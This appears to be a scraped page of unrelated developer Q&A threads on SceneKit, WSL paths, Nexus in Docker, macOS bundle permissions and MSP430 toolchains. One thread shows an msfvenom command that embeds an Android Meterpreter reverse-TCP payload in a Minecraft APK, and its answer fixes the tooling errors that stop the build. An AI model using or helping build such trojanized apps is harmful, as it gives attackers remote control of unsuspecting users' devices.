SCNScene initialization from file crashes on macOS Ventura - crash

This is pretty unusual, because I'm unable to replicate the issue on macOS Monterey. I have a SCNScene object that is initialized in viewDidLoad as such:
scene = SCNScene(named: "art.scnassets/preview.scn")!
And as you can see below, the file exists in my project's Resources under the appropriate path:
As previously mentioned, the crash does not occur in builds created under macOS Monterey. Did something change in the resource file path's API?
So far I have tried to initialize using a different way of creating the URL, like so:
scene = try! SCNScene(url: Bundle.main.url(forResource: "art.scnassets/preview", withExtension: "scn")!)

1. Reset the path to Command Line Tools
To fix this issue, install the latest version of Command_Line_Tools for Xcode 14.1 and then execute these two commands in zsh Terminal (password is required):
sudo xcode-select --reset
sudo xcode-select -switch /Library/Developer/CommandLineTools
Restart your Mac.
2. Renaming process
Rename the art.scnassets to artist.scnassets if the above steps still do not help.

Related

WSL can't detect VS code

At first, I tried to fix my problem of npm instruction
so I added
[interop]
appendWindowsPath = false
to /etc/wsl.conf
It works, but another problem happen.
When I type code .
Command 'code' not found, did you mean:
command 'node' from deb nodejs (12.22.9~dfsg-1ubuntu3)
command 'cdde' from deb cdde (0.3.1-1build1)
command 'ode' from deb plotutils (2.6-11)
command 'tcode' from deb emboss (6.6.0+dfsg-11ubuntu1)
command 'cde' from deb cde (0.1+git9-g551e54d-1.2)
Try: sudo apt install <deb name>
The above Error message appear.
I tried the following instruction
export PATH=$PATH:"/mnt/c/Users/%USERNAME%/AppData/Local/Programs/Microsoft VS Code/bin"
It also works properly.
Whenever I restarted WSL, npm instruction still worked well, but code instruction lost its function again.
What should I do to fix the problem?
Thanks in advance!
My main suggestion would be to not use appendWindowsPath = false to fix your NPM problem. That's like using a sledgehammer as a flyswatter. As I said in this answer:
Please do not follow the recommendations (like this answer) to completely remove all Windows paths from WSL, as that will severely limit your ability to run Windows applications in WSL (one of its great features).
You'll also lose access to the ability to run PowerShell scripts and commands in WSL easily. You won't have direct access to wsl.exe itself from inside WSL (which comes in handy).
You can type the full paths to these commands, of course, but most instructions and other answers you find here are going to assume that you've left the Windows path intact.
Instead, figure out where npm is installed in your WSL distribution and then determine why it is further toward the end of the PATH than your Windows directories. Windows paths are added at the end of the Linux PATH for a reason. If something in your startup files is adding to the path, it should put it at the beginning, so it has precedence. E.g.:
export PATH="newdir:$PATH"
Note that I'm not saying that you should change your export statement above since, as mentioned, that Windows path would normally come at the end anyway. It's really not going to matter unless you put another code executable somewhere else in your path.
Whenever I restarted WSL, npm instruction still worked well, but code instruction lost its function again.
If you do want the "quick and dirty" (not recommended) solution, then you can simply add that export command that "makes it work" to your ~/.bashrc. That file is processed each time the Bash shell starts interactively.

Nexus Repo - could not lock user prefs

I'm running Sonatype Nexus 3 inside a docker container, with the following startup command:
docker run -d -p 80:8081 --ulimit nofile=65536:65536 --name nexus -v nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms4g -Xmx4g -XX:MaxDirectMemorySize=6717m -Djava.util.prefs.userRoot=${NEXUS_DATA}/javaprefs" sonatype/nexus3
After updating the docker image version from 3.30.0 to 3.40.1, I keep getting the following warnings regarding user prefs.
2022-07-18 13:14:45,860+0000 WARN [Timer-0] *SYSTEM java.util.prefs - Couldn't flush user prefs: java.util.prefs.BackingStoreException: Couldn't get file lock.
2022-07-18 13:15:15,860+0000 WARN [Timer-0] *SYSTEM java.util.prefs - Could not lock User prefs. Unix error code 2.
As you can see from the startup command, the user prefs directory is inside the docker volume and at directory /nexus-data/javaprefs . I have tried looking for existing locks inside the directory, but found none. I've also tried completely deleting the directory and saw that the warning still came up and the folder itself wasn't being created by Nexus.
I honestly don't even know if this is an important issue or not, since there is little to no documentation about the user preferences folder.
Even a way to turn off the warning log which fires every 30s would be useful.
----UPDATE----
I've tried doing a clean installation of Nexus through Docker, following the simple instructions inside the github sonatype nexus3 docker repository, and still find these warnings.
I even tried on a different OS (Windwos instead of linux, through Docker Desktop) and with and without a volume for /nexus-data.
At this point I believe it to be a bug in a newer Nexus version.
TLDR: Adding -Djava.util.prefs.userRoot=/nexus-data/javaprefs should solve the problem, assuming the nexus data directory is at /nexus-data/.
Just had the same issue after upgrading from 3.38.1 to 3.42.0. After some investigation found that indeed the java.util.prefs.userRoot property got lost somewhere between those versions. The default value in the vanilla Nexus 3.38.1 is /nexus-data/javaprefs.

MacOS - bundle not executing due to permissions?

So I've made MACOS_BUNDLE in cmake, & macdeployqt. Everything went great but there is 1 problem. If I run the app on mac where I developed it = all good. If I run it on another MAC, then nothing runs. I have to manually set sudo xmod +x "testApp.app/Contents/MacOS/testApp" So my question is... do I need to ship a mini .sh file that would set the permissions on other pcs too or can I somehow... configure bundle to have it already set?
Thanks

Malformed String Number Version 2.4.0 when msfvenom -x

Read all and carefully
Hi, I'm using Kali 2.0 and I love to tweak with it (Sorry for bad english but I'm italian). When I use this command:
msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk
it gives me:
Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I've searched for weeks on all the forums but, I didn't found the solution. I've reinstalled Kali, metasploit-framework, jdk, apktool. Nothing was happened. Any fix?
I have struggled and got the solution. It looks like the problem was with the apktool and also the java environment variables (but in your case it could be only one issue), i uninstalled the apktool & java's(jdk,jre), reinstalled, changed versions through terminal but nothing worked.
FIRST ISSUE (_JAVA_OPTIONS) :
To figure this out i read an issue on github https://github.com/iBotPeaches/Apktool/issues/2325
To temporarily fix it, run the following commands in the same terminal window where you are trying to use msfvenom:
_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'
To permanently fix it, place the above commands in /root/.bashrc(you have to check Show hidden files in View tab).
Now the above error message should go away, and if there is an issue with your apktool it will be displaying unable to rebuild apk with apktool. So, to figure this out read below:
SECOND ISSUE (Apktool)(unable to rebuild apk with apktool):
I have found that there is a missing file
of apktool located in usr/local/sbin. Delete apktool file from there if exists.
Download linux wrapper script https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
Download latest apktool from https://bitbucket.org/iBotPeaches/apktool/downloads and rename it to apktool.jar
Now copy both the files (linux wrapper script & apktool.jar) to /user/local/bin
Type apktool in terminal and verify the version
P.S. For those who cant go with the steps for the second issue, go watch this fix https://youtu.be/vxs_fkUHnSw

MSP430 toolchain in linux

Can anybody please guide procedure to setup tool-chain for MSP430 in Linux (particularly Ubuntu) ? I am using MSP430 launchpad (MSP-EXP430G2), and I need to setup compiler/build tools and debugger drivers.
If you install Texas Instruments' CCS IDE, Linux version, it will install the tool-chain. There are, however, other problems in developing for MSP430 in Linux. The bugs and fixes are detailed in my post here:
MSP430 / eZ430-RF2500 Linux support Guide
"Compile code using Code Composer Studio (CCS)
Download CCS for Linux.
Create a new CCS project with a Custom MSP430 Device or any other.
Compile the code. The result binary image will be in the workspace. The workspace path can be found in “File” / “Switch workspace”.
The file that should be programmed to the device is the project-name.out file.
Program and run device using mspdebug
Download and Install mspdebug
From the directory with the file project-name.out run:
$ sudo mspdebug rf2500
Now you are in mspdebug’s command line shell. Run the following to program and run the device:
(mspdebug) prog project-name.out
(mspdebug) run
Use Ctrl+c to pause run and get command line back.
Fix a Linux Kernel bug that prevents Minicom to communicate with device
The device path in /dev is /dev/ttyACM0. Currently, connecting to it
serially using utilities such as minicom is not possible, and you get the message “/dev/ttyACM0: No such file or directory”.
The bug is in Kernel module “cdc_acm”. The solution is to fix the bug in the source code, recompile the module and plug it instead of the existing one.
Find out Linux version:
$ uname -r
cdc_acm’s source is the files cdc-acm.c and cdc-acm.h. They are under the Linux path drivers/usb/class/.
Download these two files from a repository that matches your Linux version. Such repos are available in lxr.free-electrons.com and www.kernel.org.
Create a new directory and move the files to it.There are two code segments need to be removed or commented out:
The next lines appear in function “acm_port_activate()” on newer versions and in “acm_tty_open()” in older ones:
// if (0 > acm_set_control(acm, acm->ctrlout = ACM_CTRL_DTR | ACM_CTRL_RTS) &&
// (acm->ctrl_caps & USB_CDC_CAP_LINE))
// goto bail_out;
The next line appears in function “acm_port_shutdown()” on newer versions “acm_port_down()” in older ones:
// acm_set_control(acm, acm->ctrlout = 0);
Create a Makefile and compile:
$ echo 'obj-m += cdc-acm.o' > Makefile
$ make -C /lib/modules/`uname -r`/build M=$PWD modules
You should have a new cdc-acm.ko file in the directory
Replace the existing module (This change will be discarded after boot):
$ sudo rmmod cdc-acm
$ sudo insmod ./cdc-acm.ko
Communicate via the serial port using Minicom
Launch minicom setup from command line:
$ minicom -s
In the menu, choose:
Serial port setup
Press ‘A’ (for “Serial Device”).
Replace Current device path with:
/dev/ttyACM0
Press ‘E’ (for “Bps/Par/Bits”).
Set the correct data rate for your device.To lower the rate (to 1200, for instance), keep pressing ‘B’ (for “previous”) until the top line shows:
Current: 1200 8N1
Press “Enter” until returning to main menu, there, press “Exit”.This will exit the setup menu and start running on the device. From now on you should see messages over the serial connection: It is up to you to program the device with such messages."
Download the pre-compile tool-chain (.run file) form http://www.ti.com/tool/msp430-gcc-opensource
Unzip
Execute chmod +x <downloaded file>
Run the installer
enjoy!